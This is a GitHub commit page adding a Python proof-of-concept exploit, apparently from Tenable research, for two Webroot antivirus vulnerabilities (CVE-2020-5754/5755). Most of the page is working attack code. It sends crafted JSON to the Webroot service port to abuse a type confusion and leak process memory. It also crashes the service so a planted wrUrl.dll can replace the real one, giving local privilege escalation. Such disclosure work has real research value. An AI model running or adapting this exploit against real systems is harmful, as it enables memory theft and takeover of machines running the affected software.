Skip to content

Commit 86e9112

Browse files
committed
PoC added for CVE-2020-5754 & CVE-2020-5755
1 parent b335f6e commit 86e9112

File tree

2 files changed

+185
-0
lines changed

2 files changed

+185
-0
lines changed

Webroot/WebRootPoC.py

Lines changed: 185 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
'''
2+
David Wells
3+
03-13-2020
4+
Tenable
5+
WebRootPoC LPE/MemoryLeak
6+
'''
7+
8+
import socket
9+
import json
10+
import sys, getopt
11+
import struct
12+
import shutil
13+
import os
14+
import time
15+
16+
HOST = '10.0.2.5' # Webroot Service IP
17+
PORT = 27019 # Webroot Service Port
18+
19+
class UnencodableByte(Exception):
20+
pass
21+
22+
'''
23+
Represents address and data found at address
24+
'''
25+
class MemoryData:
26+
def __init__(self, address, data):
27+
self.address = address
28+
self.data = data
29+
30+
def Usage():
31+
print("Usage: WebRootPoc.py [OPTION]\r\n -r\t<32-bit Memory Address in Hex>\tReads Memory from Remote Webroot Instance\r\n -e\tLocal Privilege Escalation")
32+
33+
def intToByteStr(hexval):
34+
return '{:02x}'.format(hexval)
35+
36+
'''
37+
@:param - Address bytes
38+
@:returns MemoryData representing address and data found in address
39+
40+
Crafts HTTP request that satisfies WebRoot service parsing.
41+
Abuses a Type-Confusion vulnerability when "DATA" list is traversed. Webroot routine
42+
will expect list elements to be type JSON_OBJ and key into them accordingly.
43+
By embedding a [\"URL\"] list element, Webroot JSON parser will dereference
44+
this as if it were JSON obj looking for "URL" key/value pair and trigger a read-what-where. This
45+
can be leaked back in the URL field of the server's response.
46+
47+
JSON_KEY on List obj (Bug), looks up "URL" key and return value pair
48+
|
49+
|
50+
V
51+
___________ ___________
52+
| LIST_OBJ | --- Finds "URL" key match --> | String |
53+
| | | "URL" |
54+
------------ -----------
55+
|
56+
| JSON_Key_Value returns value offset of buffer after matching URL
57+
V
58+
______________________ _____________________
59+
| Type Confusion | -------------------------> | \x41\x41\x41\x41 | - Supposed to be address of key "value", but we control this pointer via crafted string
60+
| returns string | | ----------------- |
61+
| of next List element| | 11111111111111 | - Object type field is padded with "1"s to spoof expected type to pass Webroot check
62+
----------------------- ----------------------
63+
64+
'''
65+
66+
def LeakMemory(addr_bytes):
67+
68+
# Raise Exception if we cant encode address
69+
addr_bytes = [addr if int(addr, 16) <= 0x7f else None for addr in addr_bytes]
70+
if(None in addr_bytes):
71+
raise UnencodableByte
72+
73+
http_response = ''
74+
http_lines = []
75+
http_lines.append("POST / HTTP/1.1")
76+
http_lines.append("\r\n")
77+
http_lines.append("Content-Type: application/urltree; charset=utf-8")
78+
http_lines.append("\r\n")
79+
http_lines.append("Content-Length:0")
80+
http_lines.append("\r\n\r\n")
81+
http_lines.append('{{"VER":1, "OP":1, "DATA":[["URL"], ["\\u00{}\\u00{}\\u00{}\\u00{}11111111111111111111"]], '
82+
'"IDATA":[{{"TOKEN":"1","BCRI":"1"}}], "BRWSR":"Chrome"}}'.format(addr_bytes[0], addr_bytes[1], addr_bytes[2], addr_bytes[3]))
83+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
84+
s.connect((HOST, PORT))
85+
s.sendall("".join(http_lines).encode())
86+
http_response = s.recv(1024)
87+
88+
if http_response == b'':
89+
return None
90+
91+
payload = http_response.decode('latin1').split('\r\n\r\n')[1] # Get payload from HTTP response
92+
try:
93+
json_response = json.loads(payload)
94+
except:
95+
url_field = payload.split('URL')[1]
96+
try:
97+
url_field = json_response['DATA'][0]['URL']
98+
except:
99+
return None
100+
if url_field == '':
101+
return None
102+
return MemoryData(struct.unpack('>I', struct.pack('<I', int("".join(addr_bytes),16)))[0],
103+
url_field)
104+
105+
'''
106+
@param address - Address integer to read memory from. Address must not contain bytes greater than 0x7f.
107+
@returns - List of MemoryData objs
108+
109+
This accepts a 32-bit address thats contents will be leaked from WebRoot server.
110+
This function will raise an Exception of "Unencodable Byte" if individual address byte
111+
exceeds 0x7f, as bytes in that range are unencodable.
112+
113+
'''
114+
115+
def ReadMemory(address):
116+
print("\033[94mReading Memory starting @{:08x}...".format(address))
117+
addr_bytes = [intToByteStr(address & 0x000000ff), intToByteStr(address >> 8 & 0x0000ff), intToByteStr(address >> 16 & 0x00ff),
118+
intToByteStr(address >> 24)]
119+
120+
MemoryDatas = []
121+
122+
for i in range(0, 0x7f):
123+
try:
124+
memDat = LeakMemory(addr_bytes)
125+
except UnencodableByte:
126+
print("Unencodable Byte found in supplied address. All bytes must be below 0x80")
127+
sys.exit(-1)
128+
if memDat is None:
129+
addr_bytes[0] = intToByteStr(int(addr_bytes[0], 16) + 1) # incriment address
130+
continue
131+
addr_bytes[0] = intToByteStr(int(addr_bytes[0], 16) + len(memDat.data)) # incriment address
132+
print("\033[92m@{:08x} - {}\x1b[0m".format(memDat.address, memDat.data))
133+
134+
if int(addr_bytes[0], 16) > 0x7f:
135+
return
136+
MemoryDatas.append(memDat)
137+
138+
139+
return MemoryDatas
140+
141+
'''
142+
Local Privilege Escalation.
143+
By Crashing the AV service via Access Violation in our Type Confusion bug, we can replace the wrUrl.dll
144+
in %PROGRAMDATA%\WrData\PKG with our own. This is done by renaming the "wrUrl" directory.
145+
'''
146+
def LPE():
147+
try:
148+
wrUrl_dll = open('wrUrl.dll', 'rb')
149+
except:
150+
print("Cannot find mock wrUrl.dll. Ensure it resides in current directory")
151+
sys.exit(-1)
152+
PKGPath = os.path.expandvars("%PROGRAMDATA%\WRData\PKG")
153+
PKGPath2 = os.path.expandvars("%PROGRAMDATA%\WRData\PKG2")
154+
try:
155+
ReadMemory(0) # Trigger Access Violation
156+
except ConnectionResetError:
157+
pass
158+
time.sleep(3)
159+
os.rename(PKGPath, PKGPath2)
160+
shutil.copytree(PKGPath2, PKGPath)
161+
shutil.copyfile('wrUrl.dll', os.path.join(PKGPath, 'wrUrl.dll')) # replace dll with our own
162+
163+
def main(argv):
164+
if len(argv) == 0:
165+
Usage()
166+
try:
167+
opts, args = getopt.getopt(argv, "r:e")
168+
except getopt.GetoptError:
169+
Usage()
170+
sys.exit(-1)
171+
172+
for opt, arg in opts:
173+
if opt == '-r':
174+
try:
175+
ReadMemory(int(arg, 16))
176+
except ConnectionResetError:
177+
print("Ooops. Didnt get response back from Webroot, probably crashed it due to Access Violation. Make sure"
178+
"Address is valid in remote WebRoot process or just try again after service auto-restarts")
179+
sys.exit(-1)
180+
elif opt == '-e':
181+
LPE()
182+
183+
184+
if __name__ == "__main__":
185+
main(sys.argv[1:])

Webroot/wrUrl.dll

74 KB
Binary file not shown.

0 commit comments

Comments
 (0)